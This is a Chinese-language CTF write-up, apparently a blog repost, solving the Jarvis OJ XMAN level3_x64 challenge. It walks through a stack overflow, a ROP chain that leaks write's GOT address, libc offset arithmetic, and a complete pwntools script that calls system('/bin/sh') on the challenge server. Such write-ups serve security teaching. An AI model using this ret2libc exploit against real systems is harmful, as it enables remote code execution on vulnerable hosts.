Jarvis OJ XMAN LEVEL3x64

思路

  • 解压后看checksec发现没有开栈保护,美滋滋


    Jarvis OJ XMAN LEVEL3x64_第1张图片
    check3.png
  • 因为没有开栈保护,所以会想到从栈溢出入手,查看函数发现溢出点在read()buf只有0x80的长度,加上return一共要覆盖0x88大小的空间


    buf1.png
buf2.png
  • 剩下的问题是如何构建shellcode,从解压后的另一个文件libc.2.19.so中我们发现了system函数以及“/bin/sh”,因此我可以调用链接库,得到system和“/bin/sh”偏移后的地址,但重点是如何找到system和“/bin/sh”在内存中的地址?

  • 从网上的wp可知,函数在内存中的地址与偏移后的地址的差值是所有函数都一样的,因此我们只要知道某个函数的内存地址和偏移后的地址,剩下的函数只需要知道偏移后的地址即可求回原地址

  • 例如,我们以write函数为例,因为plt和got表的原因,函数的真实地址在got表中,因此我们可以通过got[]得到write函数got表的地址,这样只要我们在后续步骤中,用此时得到的地址减去在偏移后的地址 即可得到固定的那个差值,但每一次运行,write在got表中的地址可能不一样,因此我们要将这个got表的地址泄露出来,使用write函数(注意64位的传参,使用ROPgadget),将got表中的地址显示,在交互中则变量接受该地址

Ropgadget.png
payload0="a"*0x88
payload0+=p64(rdiset)+p64(1)
payload0+=p64(rsiset)+p64(writegot)
payload0+=p64(8)
payload0+=p64(writeplt)+p64(vuladdr)

p.recvuntil("Input:\n")
p.sendline(payload0)
writeaddr=u64(p.recv(8))
  • 剩下的就是得到system和“/bin/sh”在链接库中的偏移后地址,进行运算,再写payload,该payload就将system函数作为返回地址,“/bin/sh”作为参数,构建shellcode
Jarvis OJ XMAN LEVEL3x64_第2张图片
succeed.png

代码

from pwn import *

p=remote("pwn2.jarvisoj.com", "9883")
elf=ELF('./level3_x64')
libc=ELF('./libc-2.19.so')

vuladdr=0x4005e6
writeplt=elf.symbols['write']
writegot=elf.got['write']
rdiset=0x00000000004006b3 
rsiset=0x00000000004006b1 

payload0="a"*0x88
payload0+=p64(rdiset)+p64(1)
payload0+=p64(rsiset)+p64(writegot)
payload0+=p64(8)
payload0+=p64(writeplt)+p64(vuladdr)

p.recvuntil("Input:\n")
p.sendline(payload0)
writeaddr=u64(p.recv(8))

sysoffest=libc.symbols['system']
binoffest=libc.search('/bin/sh').next()

systemaddr=writeaddr-libc.symbols['write']+sysoffest
binshaddr=writeaddr-libc.symbols['write']+binoffest

payload1='a'*0x88
payload1+=p64(rdiset)+p64(binshaddr)
payload1+=p64(systemaddr)+p64(8)

p.recvuntil("Input:\n")
p.sendline(payload1)
p.interactive()

你可能感兴趣的:(Jarvis OJ XMAN LEVEL3x64)